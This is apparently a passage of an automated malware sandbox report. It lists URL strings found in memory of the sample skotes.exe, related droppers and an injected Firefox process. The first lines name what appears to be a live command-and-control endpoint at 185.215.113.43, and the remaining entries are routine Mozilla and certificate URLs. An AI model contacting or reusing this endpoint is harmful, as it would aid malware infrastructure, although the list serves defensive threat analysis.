Source: skotes.exe, 00000006.00000002.2934737174.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpM
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedc
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedh
Source: skotes.exe, 00000006.00000002.2934737174.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpq
Source: skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=mpp
Source: firefox.exe, 00000020.00000003.2894963446.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2812464285.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000020.00000003.2894963446.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2812464285.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000020.00000003.2894963446.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2812464285.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000020.00000003.2894963446.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2812464285.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000020.00000003.2897430854.00000253EED92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000020.00000002.3278500608.00000253EC09F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2970521081.00000253E7E2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3333312838.00000253EE803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlNetworkError
Source: firefox.exe, 00000020.00000003.2820220284.00000253ED7A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000020.00000002.2970521081.00000253E7E8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000020.00000002.2970521081.00000253E7E8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000020.00000002.2970521081.00000253E7E8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: Fwkdsz.exe, 00000007.00000002.2636511442.0000000001093000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.micl
Source: firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000020.00000002.2983601021.00000253E87D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E88AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E889E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdhttp://mozilla.org/#/propert
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledresource://normandy/lib/NormandyApi.sys.mjs
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratiohttp://mozilla.org/#/properti
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/branches/anyOf/1webc
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slugfirefox-desktop-opaqueResponse
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2firefox-desktop-shellService-release-7
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2firefox-desktop-shellService-release-7http://mozilla
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemswebcompat
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationresource://passwordmgr/passwordstorage.sys.mjs
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationresource://passwordmgr/passwordstorage.sys.mjsGettin
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariationhttp://mozilla.org/#/properties
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
